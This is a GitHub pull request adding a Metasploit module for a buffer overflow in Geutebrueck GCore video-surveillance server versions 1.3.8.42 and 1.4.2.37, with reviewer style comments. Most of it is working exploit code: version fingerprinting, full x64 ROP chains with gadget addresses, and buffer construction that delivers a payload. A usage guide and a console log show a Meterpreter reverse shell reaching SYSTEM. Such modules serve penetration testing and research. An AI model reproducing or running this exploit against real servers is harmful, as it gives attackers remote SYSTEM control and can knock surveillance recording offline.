Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added Geutebrueck GCore Remote Code Execution for 1.3.8.42 and 1.4.2.37 #8747

Merged
merged 9 commits into from
Nov 9, 2017
Merged
Show file tree
Hide file tree
Changes from 7 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,63 @@
## Vulnerable Application

Geutebrück GCore Server 1.3.8.42,1.4.2.37 are vulnerable to a buffer overflow exploitation. Since this application is started with system privileges this allows a system remote code execution.

## Verification Steps

1. Install Windows as basic OS (Tested with Win2012R2,Windows 7)
2. Install the Geutebrück GCore server
3. Verify that http://<your target ip>:13003/statistics/runningmoduleslist.xml available is.
4. Start msfconsole
5. Do: ```use [exploit/windows/http/geutebrueck_gcore_x64_rce_bo]```
6. Do: ```set rhost <your target ip>```
7. Do: ```set rport 13003```
8. Do: ```set payload windows/x64/meterpreter/reverse_tcp```
9. Do: ```exploit```
10. You should get a shell as NT/SYSTEM.

## Scenarios
```
msf exploit(geutebrueck_gcore_x64_rce_bo) > show options

Module options (exploit/windows/http/geutebrueck_gcore_x64_rce_bo):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.10 yes The target address
RPORT 13003 yes The target port



Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.11 yes The listen address
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Automatic Targeting

msf exploit(geutebrueck_gcore_x64_rce_bo) > exploit
[*] Started reverse TCP handler on 192.168.1.11:4444
[*] 192.168.1.10:13003 - Trying to fingerprint server with http://192.168.1.10:13003/statistics/runningmoduleslist.xml...
[*] 192.168.1.10:13003 - Vulnerable version detected: GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,...)
[*] 192.168.1.10:13003 - Preparing ROP chain for target 1.4.2.37!
[*] 192.168.1.10:13003 - Crafting Exploit...
[*] 192.168.1.10:13003 - Exploit ready for sending...
[*] 192.168.1.10:13003 - Exploit sent! [*] Sending stage (1188415 bytes) to
[*] Meterpreter session 1 opened ( :4444 -> 49963) at 2017-11-03 13:14:51 +0200
[*] 192.168.1.10:13003 - Closing socket.
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid Server username:
NT-AUTORITÄT\SYSTEM
meterpreter >
```
## Mitigation
Geutebrück released a new version and an update for the affected product which should be installed to fix the described vulnerabilities.
262 changes: 262 additions & 0 deletions modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,262 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'nokogiri'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You don't need to require nokogiri

require 'open-uri'

class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp

Rank = NormalRanking

def initialize(info = {})
super(update_info(info,
'Name' => 'Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE',
'Description' => 'This module exploits a stack Buffer Overflow in the GCore server (GCoreServer.exe). The vulnerable webserver is running on Port 13003 and Port 13004, does not require authentication and affects all versions from 2003 till July 2016 (Version 1.4.YYYYY).',
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can you multiline this. See https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/altn_webadmin.rb#L14 as an example (or pretty much every module)

'License' => MSF_LICENSE,
'Author' =>
[
'Luca Cappiello',
'Maurice Popp'
],
'References' =>
[
['EDB','41153'],
['URL','www.geutebrueck.com']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe add: ['CVE', '2017-11517']

],
'Platform' => 'win',
'Targets' =>
[
['Automatic Targeting', { 'auto' => true, 'Arch' => ARCH_X64 }],
['GCore 1.3.8.42, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X64}],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You can remove the () parts, or just do (Win7+)

['GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X64}]
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You can remove the () parts, or just do (Win7+)

],
'Payload' =>
{
'Space' => '2000'
},
'Privileged' => true,
'DisclosureDate' => 'Jan 24 2017',
'DefaultTarget' => 0))

register_options(
[
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

you can shorten this to [Opt::RPORT(13003)]

Opt::RPORT(13003)
])
end

def fingerprint
print_status("Trying to fingerprint server with http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml...")
@doc = Nokogiri::XML(open("http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml"))
statistics = @doc.css('modulestate')
statistics.each do |x|
if (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.3.8.42')
mytarget = targets[1]
print_status("Vulnerable version detected: #{mytarget.name}")
return Exploit::CheckCode::Appears, mytarget
elsif (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.4.2.37')
mytarget = targets[2]
print_status("Vulnerable version detected: #{mytarget.name}")
return Exploit::CheckCode::Appears, mytarget
end
end
print_status("Statistics Page under http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml is not available.")
print_status('Make sure that you know the exact version, otherwise you\'ll knock out the service.')
print_status('In the default configuration the service will restart after 1 minute and after the third crash the server will reboot!')
print_status('After a crash, the videosurveillance system can not recover properly and stops recording.')
[Exploit::CheckCode::Unknown, nil]
end

def check
fingerprint
end

def ropchain(target)
if target.name.include? '1.3.8.42'
print_status('Preparing ROP chain for target 1.3.8.42!')

# 0x140cd00a9 | add rsp, 0x10 ; ret
# This is needed because the next 16 bytes are sometimes messed up.
overwrite = [0x140cd00a9].pack('Q<')

# These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
stack_align = "\x43" * 16
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This line is the same in both, it could be moved to before the if statement.


# We have 40 bytes left to align our stack!
# The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
# and to restore it.
# We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.

# 0x1404e5cbf: mov edx, esp ; ret
stack_align += [0x1404e5cbf].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.


# As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
# We pop -XXXXX as \xxxxxxxxx to rax
# 0x14013db94 pop rax ; ret
stack_align += [0x14013db94].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<

stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<


# Our value is enough.
# 0x1407dc547 | add rax,rdx ; ret
stack_align += [0x1407dc547].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<


# RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
# 0x140ce9ac0 | mov rsp, rax ; ..... ; ret
stack_align += [0x140ce9ac0].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<


# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
# We want RCX to hold the value for VP Argument "Address of Shellcode"
# 0x140cc2234 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
rop = ''
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This line is the same in both, it could be moved to before the if statement.

rop += [0x140cc2234].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<

rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<

# 0x1400ae2ae | POP RDX; RETN
# 0x...1000 | Value for VP "Size of Memory"
rop += [0x1400ae2ae].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<

rop += [0x0000000000000400].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<


# 0x14029dc6e: | POP R8; RET
# 0x...40 | Value for VP "Execute Permissions"
rop += [0x14029dc6e].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<

rop += [0x0000000000000040].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<


# 0x1400aa030 | POP R9; RET
# 0x1409AE1A8 is the .data section of gcore
rop += [0x1400aa030].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<

rop += [0x1409AE1A8].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<


# 0x140b5927a: xor rax, rax ; ret
rop += [0x140b5927a].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<


# 0x1402ce220 pop rax ; ret
# 0x140d752b8 | VP Stub IAT Entry
rop += [0x1402ce220].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<

rop += [0x140d752b8].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<


# 0x1407c6b3b mov rax, qword [rax] ; ret ;
rop += [0x1407c6b3b].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<


# 0x140989c41 push rax; ret
rop += [0x140989c41].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<


# 0x1406d684d jmp rsp
rop += [0x1406d684d].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<


[rop, overwrite, stack_align]

elsif target.name.include? '1.4.2.37'
print_status('Preparing ROP chain for target 1.4.2.37!')

# 0x140cd9759 | add rsp, 0x10 ; ret
# This is needed because the next 16 bytes are sometimes messed up.
overwrite = [0x140cd9759].pack('Q<')

# These bytes "\x43" are sacrificed ; we align the stack to jump over this.
stack_align = "\x43" * 16

# We have 40 bytes left to align our stack!
# The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
# and to restore it.
# We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.

# 0x1404f213f: mov edx, esp ; ret
stack_align += [0x1404f213f].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<


# As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
# We pop -XXXXX as \xxxxxxxxx to rax
# 0x14000efa8 pop rax ; ret
stack_align += [0x14000efa8].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<

stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<


# Our value is enough.
# 0x140cdfe65 | add rax,rdx ; ret
stack_align += [0x140cdfe65].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<


# RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
# 0x140cf3110 | mov rsp, rax ; ..... ; ret
stack_align += [0x140cf3110].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<


# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
# We want RCX to hold the value for VP Argument "Address of Shellcode"
# 0x140ccb984 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
rop = ''
rop += [0x140ccb984].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<

rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<

# 0x14008f7ec | POP RDX; RETN
# 0x...1000 | Value for VP "Size of Memory"
rop += [0x14008f7ec].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<

rop += [0x0000000000000400].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<


# 0x140a88f81: | POP R8; RET
# 0x...40 | Value for VP "Execute Permissions"
rop += [0x140a88f81].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<

rop += [0x0000000000000040].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<


# 0x1400aa030 | POP R9; RET
# 0x... | Value for VP "Writeable location". Not sure if needed?
# 0x140FB5000 is the .data section of gcore; let's test with this writable section...
rop += [0x1400aa030].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<

rop += [0x140FB5000].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<


# 0x140ccea2f: xor rax, rax ; et
rop += [0x140ccea2f].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<


# 0x14000efa8 pop rax ; ret
# 0x140d83268 | VP Stub IAT Entry
rop += [0x14000efa8].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<

rop += [0x140d83268].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<


# 0x14095b254 mov rax, qword [rax] ; ret ;
rop += [0x14095b254].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<


# 0x140166c46 push rax; ret
rop += [0x140166c46].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<


# 0x140cfb98d jmp rsp
rop += [0x140cfb98d].pack('Q<')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

+= to <<


[rop, overwrite, stack_align]

else
print_status('ROP chain for this version not (yet) available or the target is not vulnerable.')

end
end

def exploit
if target['auto']
checkcode, target = fingerprint
fail_with(Failure::NotVulnerable, 'No vulnerable Version detected - exploit aborted.') if checkcode.to_s.include? 'unknown'
target_rop, target_overwrite, target_stack_align = ropchain(target)
else
print_status('No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status.')
print_status("Selected version: #{self.target.name}")
target_rop, target_overwrite, target_stack_align = ropchain(self.target)
end

begin
connect
print_status('Crafting Exploit...')
http_req = 'GET /'
buffer_200 = "\x41" * 200
rop = target_rop
payload.encoded
buffer_1823 = "\x41" * 1823
overwrite = target_overwrite
stack_align = target_stack_align

exploit = http_req + buffer_200 + rop + payload.encoded + buffer_1823 + overwrite + stack_align
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Instead of these single use variables here, could we simplify:

exploit = 'GET /'
exploit << "\x41" * 200
exploit << target_rop
exploit << payload.encoded
exploit << "\x41" * 1823
exploit << target_overwrite
exploit << target_stack_align

I'm also assuming you couldn't use the send_request_cgi ? I didn't go back through all the comments, figured it was discussed there and just wanted to make sure it was.

print_status('Exploit ready for sending...')
sock.put(exploit, 'Timeout' => 20)
print_status('Exploit sent!')
buf = sock.get_once || ''
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I would add a fail_with here as well.

ensure
print_status('Closing socket.')
disconnect
end
end
end